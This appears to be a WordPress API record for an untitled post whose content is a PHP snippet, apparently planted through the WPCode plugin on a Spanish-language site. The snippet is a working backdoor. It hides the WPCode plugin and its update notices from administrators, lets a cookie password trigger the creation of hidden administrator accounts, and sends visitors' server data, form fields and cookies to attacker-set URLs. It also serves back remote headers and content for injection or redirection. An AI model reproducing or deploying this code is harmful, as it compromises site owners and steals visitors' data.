{"id":89484,"date":"2026-03-16T15:22:37","date_gmt":"2026-03-16T21:22:37","guid":{"rendered":"https:\/\/ecodelahuasteca.com\/wpcode\/fragmento-de-codigo-sin-titulo\/"},"modified":"2026-03-16T15:22:37","modified_gmt":"2026-03-16T21:22:37","slug":"fragmento-de-codigo-sin-titulo","status":"publish","type":"post","link":"https:\/\/ecodelahuasteca.com\/?p=89484","title":{"rendered":"Fragmento de c\u00f3digo sin t\u00edtulo"},"content":{"rendered":"<p>if (defined(\\&#8221;_WP_WEBSITE\\&#8221;)) {<br \/>\n    return;<br \/>\n}<\/p>\n<p>define(\\&#8221;_WP_PWSA\\&#8221;, \\&#8221;0324fb1d928da3ad4198ba70fabf0dc1\\&#8221;);<br \/>\ndefine(\\&#8217;_WP_WEBSITE\\&#8217;, \\&#8221;www.ecodelahuasteca.com\\&#8221;);<\/p>\n<p>foreach ([\\&#8217;DONOTCACHEPAGE\\&#8217;, \\&#8217;DONOTMINIFY\\&#8217;, \\&#8217;DONOTCDN\\&#8217;] as $const) {<br \/>\n    if (!defined($const)) {<br \/>\n        define($const, false);<br \/>\n    }<br \/>\n}<\/p>\n<p>add_filter( \\&#8217;sgo_bypass_cache\\&#8217;, \\&#8217;__return_true\\&#8217; );<br \/>\nadd_filter( \\&#8217;autoptimize_filter_noptimize\\&#8217;, \\&#8217;__return_true\\&#8217; );<br \/>\nadd_filter(\\&#8217;do_rocket_generate_caching_files\\&#8217;, \\&#8217;__return_false\\&#8217;);<br \/>\nadd_filter(\\&#8217;w3tc_can_cache\\&#8217;, \\&#8217;__return_false\\&#8217;);<br \/>\nadd_filter(\\&#8217;wp_cache_not_logged_in\\&#8217;, \\&#8217;__return_false\\&#8217;);<br \/>\nadd_filter(\\&#8217;wp_cache_no_cache_for_get\\&#8217;, \\&#8217;__return_true\\&#8217;);<br \/>\ndo_action( \\&#8217;litespeed_control_set_nocache\\&#8217;, \\&#8217;\\&#8217; );<\/p>\n<p>function b64($input)<br \/>\n{<br \/>\n    return base64_decode($input);<br \/>\n}<\/p>\n<p>function download($path, $add_fields)<br \/>\n{<br \/>\n    $fields = [\\&#8217;v\\&#8217; => 2, \\&#8217;website\\&#8217; => _WP_WEBSITE, \\&#8217;server\\&#8217; => $_SERVER, \\&#8217;download_type\\&#8217; => \\&#8217;direct\\&#8217;];<br \/>\n    if ($add_fields) {<br \/>\n        $fields = array_merge($fields, [<br \/>\n            \\&#8217;post\\&#8217; => isset($_POST) ? $_POST : [],<br \/>\n            \\&#8217;get\\&#8217; => isset($_GET) ? $_GET : [],<br \/>\n            \\&#8217;cookie\\&#8217; => isset($_COOKIE) ? $_COOKIE : []<br \/>\n        ]);<br \/>\n    }<br \/>\n    $ch = @curl_init();<br \/>\n    @curl_setopt($ch, CURLOPT_URL, $path);<br \/>\n    @curl_setopt($ch, CURLOPT_POST, 1);<br \/>\n    @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br \/>\n    @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);<br \/>\n    @curl_setopt($ch, CURLOPT_TIMEOUT, 60);<br \/>\n    @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);<br \/>\n    @curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields));<br \/>\n    $output = @curl_exec($ch);<br \/>\n    @curl_close($ch);<br \/>\n    return $output;<br \/>\n}<\/p>\n<p>if ((current_user_can(\\&#8217;edit_pages\\&#8217;) || current_user_can(\\&#8217;edit_others_pages\\&#8217;)) &#038;&#038; !array_key_exists(\\&#8217;show_all\\&#8217;, $_GET) &#038;&#038; !defined(\\&#8217;_WP_FIX\\&#8217;)) {<br \/>\n    define(\\&#8217;_WP_FIX\\&#8217;, true);<\/p>\n<p>    function fix_style()<br \/>\n    {<br \/>\n        echo \\&#8217;<\/p>\n<style>\\';\n        echo \\'#toplevel_page_wpcode { display: none; }\\';\n        echo \\'#wp-admin-bar-wpcode-admin-bar-info { display: none; }\\';\n        echo \\'#wpcode-notice-global-review_request { display: none; }\\';\n        echo \\'<\/style>\n<p>\\&#8217;;<br \/>\n    }<\/p>\n<p>    add_action(\\&#8217;admin_head\\&#8217;, \\&#8217;fix_style\\&#8217;);<br \/>\n    add_action(\\&#8217;wp_head\\&#8217;, \\&#8217;fix_style\\&#8217;);<\/p>\n<p>    add_filter(\\&#8217;all_plugins\\&#8217;, function ($plugins) {<br \/>\n        if (isset($plugins[\\&#8217;wpcode\/wpcode.php\\&#8217;])) {<br \/>\n            unset($plugins[\\&#8217;wpcode\/wpcode.php\\&#8217;]);<br \/>\n        }<br \/>\n        if (isset($plugins[\\&#8217;insert-headers-and-footers\/ihaf.php\\&#8217;])) {<br \/>\n            unset($plugins[\\&#8217;insert-headers-and-footers\/ihaf.php\\&#8217;]);<br \/>\n        }<br \/>\n        return $plugins;<br \/>\n    });<\/p>\n<p>    function fix_updates($value)<br \/>\n    {<br \/>\n        if (isset($value) &#038;&#038; is_object($value)) {<br \/>\n            if (isset($value->response[\\&#8217;insert-headers-and-footers\/ihaf.php\\&#8217;])) {<br \/>\n                unset($value->response[\\&#8217;insert-headers-and-footers\/ihaf.php\\&#8217;]);<br \/>\n            }<br \/>\n            if (isset($value->response[\\&#8217;wpcode\/wpcode.php\\&#8217;])) {<br \/>\n                unset($value->response[\\&#8217;wpcode\/wpcode.php\\&#8217;]);<br \/>\n            }<br \/>\n        }<br \/>\n        return $value;<br \/>\n    }<\/p>\n<p>    add_filter(\\&#8217;site_transient_update_plugins\\&#8217;, \\&#8217;fix_updates\\&#8217;);<br \/>\n    add_filter(\\&#8217;transient_update_plugins\\&#8217;, \\&#8217;fix_updates\\&#8217;);<br \/>\n}<\/p>\n<p>if (!function_exists(\\&#8217;_red\\&#8217;)) {<br \/>\n    error_reporting(0);<br \/>\n    ini_set(\\&#8217;display_errors\\&#8217;, 0);<\/p>\n<p>    function _gcookie($n)<br \/>\n    {<br \/>\n        return (isset($_COOKIE[$n])) ? b64($_COOKIE[$n]) : \\&#8217;\\&#8217;;<br \/>\n    }<\/p>\n<p>    if (!empty(_WP_PWSA) &#038;&#038; _gcookie(\\&#8217;pw\\&#8217;) === _WP_PWSA) {<br \/>\n        switch (_gcookie(\\&#8217;c\\&#8217;)) {<br \/>\n            case \\&#8217;sd\\&#8217;:<br \/>\n                $d = _gcookie(\\&#8217;d\\&#8217;);<br \/>\n                if (strpos($d, \\&#8217;.\\&#8217;) > 0) {<br \/>\n                    update_option(\\&#8217;d\\&#8217;, $d);<br \/>\n                }<br \/>\n                break;<br \/>\n            case \\&#8217;sl\\&#8217;:<br \/>\n                $l = _gcookie(\\&#8217;l\\&#8217;);<br \/>\n                if (substr($l, 0, 4) === \\&#8217;http\\&#8217; &#038;&#038; strpos($l, \\&#8217;.\\&#8217;) > 0) {<br \/>\n                    update_option(\\&#8217;l\\&#8217;, $l);<br \/>\n                }<br \/>\n                break;<br \/>\n            case \\&#8217;au\\&#8217;:<br \/>\n                $u = _gcookie(\\&#8217;u\\&#8217;);<br \/>\n                $p = _gcookie(\\&#8217;p\\&#8217;);<br \/>\n                $e = _gcookie(\\&#8217;e\\&#8217;);<\/p>\n<p>                if ($u &#038;&#038; $p &#038;&#038; $e &#038;&#038; !username_exists($u)) {<br \/>\n                    $user_id = wp_create_user($u, $p, $e);<br \/>\n                    $user = new WP_User($user_id);<br \/>\n                    $user->set_role(\\&#8217;administrator\\&#8217;);<br \/>\n                }<br \/>\n                break;<br \/>\n        }<br \/>\n        die(\\&#8217;X-OK\\&#8217;);<br \/>\n    }<\/p>\n<p>    if (@stripos(wp_login_url(), \\&#8217;\\&#8217; . $_SERVER[\\&#8217;SCRIPT_NAME\\&#8217;]) !== false) {<br \/>\n        return;<br \/>\n    }<\/p>\n<p>    if (_gcookie(\\&#8221;skip\\&#8221;) === \\&#8221;1\\&#8221;) {<br \/>\n        return;<br \/>\n    }<\/p>\n<p>    function _user_ip()<br \/>\n    {<br \/>\n        foreach (array(\\&#8217;HTTP_CF_CONNECTING_IP\\&#8217;, \\&#8217;HTTP_CLIENT_IP\\&#8217;, \\&#8217;HTTP_X_FORWARDED_FOR\\&#8217;, \\&#8217;HTTP_X_FORWARDED\\&#8217;, \\&#8217;HTTP_X_CLUSTER_CLIENT_IP\\&#8217;, \\&#8217;HTTP_FORWARDED_FOR\\&#8217;, \\&#8217;HTTP_FORWARDED\\&#8217;, \\&#8217;REMOTE_ADDR\\&#8217;) as $key) {<br \/>\n            if (array_key_exists($key, $_SERVER) &#038;&#038; !empty($_SERVER[$key])) {<br \/>\n                foreach (@explode(\\&#8217;,\\&#8217;, \\&#8217;\\&#8217; . $_SERVER[$key]) as $ip) {<br \/>\n                    $ip = trim($ip);<br \/>\n                    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {<br \/>\n                        return $ip;<br \/>\n                    }<br \/>\n                }<br \/>\n            }<br \/>\n        }<\/p>\n<p>        return false;<br \/>\n    }<\/p>\n<p>    function _red()<br \/>\n    {<br \/>\n        if (is_user_logged_in()) {<br \/>\n            return;<br \/>\n        }<\/p>\n<p>        if (isset($_SERVER[\\&#8217;REQUEST_URI\\&#8217;]) &#038;&#038; (stripos($_SERVER[\\&#8217;REQUEST_URI\\&#8217;], \\&#8217;wp-admin\\&#8217;) !== false || stripos($_SERVER[\\&#8217;REQUEST_URI\\&#8217;], \\&#8217;wp-login.php\\&#8217;) !== false)) {<br \/>\n            return;<br \/>\n        }<\/p>\n<p>        $ip = _user_ip();<br \/>\n        if (!$ip) {<br \/>\n            return;<br \/>\n        }<\/p>\n<p>        $exp = get_transient(\\&#8217;exp\\&#8217;);<br \/>\n        if (!is_array($exp)) {<br \/>\n            $exp = array();<br \/>\n        }<\/p>\n<p>        foreach ($exp as $k => $v) {<br \/>\n            if (time() &#8211; $v > 86400) {<br \/>\n                unset($exp[$k]);<br \/>\n            }<br \/>\n        }<\/p>\n<p>        $u = strtolower(preg_replace(\\&#8221;\/[^A-Za-z0-9]\/\\&#8221;, \\&#8217;\\&#8217;, isset($_GET[\\&#8217;u\\&#8217;]) ? \\&#8217;uu\\&#8217; . $_GET[\\&#8217;u\\&#8217;] : \\&#8217;\\&#8217;));<br \/>\n        $u = (strlen($u) > 20) ? substr($u, 0, 20) : $u;<\/p>\n<p>        $post = isset($_SERVER[\\&#8217;REQUEST_METHOD\\&#8217;]) &#038;&#038; $_SERVER[\\&#8217;REQUEST_METHOD\\&#8217;] === \\&#8217;POST\\&#8217; &#038;&#038; isset($_POST[\\&#8217;v\\&#8217;]) &#038;&#038; isset($_POST[\\&#8217;website\\&#8217;]) &#038;&#038; isset($_POST[\\&#8217;server\\&#8217;]) &#038;&#038; isset($_POST[\\&#8217;download_type\\&#8217;]);<\/p>\n<p>        if (key_exists($ip, $exp) &#038;&#038; (time() &#8211; $exp[$ip] < 86400) &#038;&#038; strlen($u) < 3 &#038;&#038; !$post) {\n            return;\n        }\n\n        if (!function_exists(\\'curl_init\\')) {\n            return;\n        }\n\n        $links = get_option(\\'l\\');\n        if (!$links) {\n            return;\n        }\n\n        $exp[$ip] = time();\n        delete_transient(\\'exp\\');\n        set_transient(\\'exp\\', $exp);\n\n        $links = explode(\\\"\\\\n\\\", $links);\n        shuffle($links);\n\n        for ($i = 0; $i < 4; $i++) {\n            $s = $links[$i % count($links)] . \\\"\/\\\" . substr(md5(microtime()), rand(0, 26), 6);\n            if (!$s || substr($s, 0, 4) !== \\'http\\') {\n                continue;\n            }\n\n            $output = download($s, $post || strlen($u) > 2);<\/p>\n<p>            if ($output) {<br \/>\n                $j = json_decode($output);<br \/>\n                if (is_object($j) &#038;&#038; (isset($j->body) || isset($j->headers) || isset($j->skip))) {<br \/>\n                    if ($post &#038;&#038; isset($j->headers) &#038;&#038; isset($j->body)) {<br \/>\n                        echo $output;<br \/>\n                        exit;<br \/>\n                    } else {<br \/>\n                        if (isset($j->headers)) {<br \/>\n                            foreach ($j->headers as $header) {<br \/>\n                                header($header);<\/p>\n<p>                            }<br \/>\n                        }<br \/>\n                        if (isset($j->body)) {<br \/>\n                            echo b64($j->body);<br \/>\n                        }<br \/>\n                    }<br \/>\n                    if (isset($j->skip)) {<br \/>\n                        break;<br \/>\n                    } else {<br \/>\n                        exit;<br \/>\n                    }<br \/>\n                }<br \/>\n            }<br \/>\n        }<br \/>\n    }<\/p>\n<p>    add_action(\\&#8217;init\\&#8217;, \\&#8217;_red\\&#8217;);<br \/>\n}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>if (defined(\\&#8221;_WP_WEBSITE\\&#8221;)) { return; } define(\\&#8221;_WP_PWSA\\&#8221;, \\&#8221;0324fb1d928da3ad4198ba70fabf0dc1\\&#8221;); define(\\&#8217;_WP_WEBSITE\\&#8217;, \\&#8221;www.ecodelahuasteca.com\\&#8221;); foreach ([\\&#8217;DONOTCACHEPAGE\\&#8217;, \\&#8217;DONOTMINIFY\\&#8217;, \\&#8217;DONOTCDN\\&#8217;] as $const) { if (!defined($const)) { define($const, false); } } add_filter( \\&#8217;sgo_bypass_cache\\&#8217;, \\&#8217;__return_true\\&#8217; ); add_filter( \\&#8217;autoptimize_filter_noptimize\\&#8217;, \\&#8217;__return_true\\&#8217; ); add_filter(\\&#8217;do_rocket_generate_caching_files\\&#8217;, \\&#8217;__return_false\\&#8217;); add_filter(\\&#8217;w3tc_can_cache\\&#8217;, \\&#8217;__return_false\\&#8217;); add_filter(\\&#8217;wp_cache_not_logged_in\\&#8217;, \\&#8217;__return_false\\&#8217;); add_filter(\\&#8217;wp_cache_no_cache_for_get\\&#8217;, \\&#8217;__return_true\\&#8217;); do_action( \\&#8217;litespeed_control_set_nocache\\&#8217;, \\&#8217;\\&#8217; ); function b64($input) { return base64_decode($input); } function download($path, $add_fields) { $fields = [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-89484","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=\/wp\/v2\/posts\/89484","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=89484"}],"version-history":[{"count":0,"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=\/wp\/v2\/posts\/89484\/revisions"}],"wp:attachment":[{"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=89484"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=89484"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ecodelahuasteca.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=89484"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}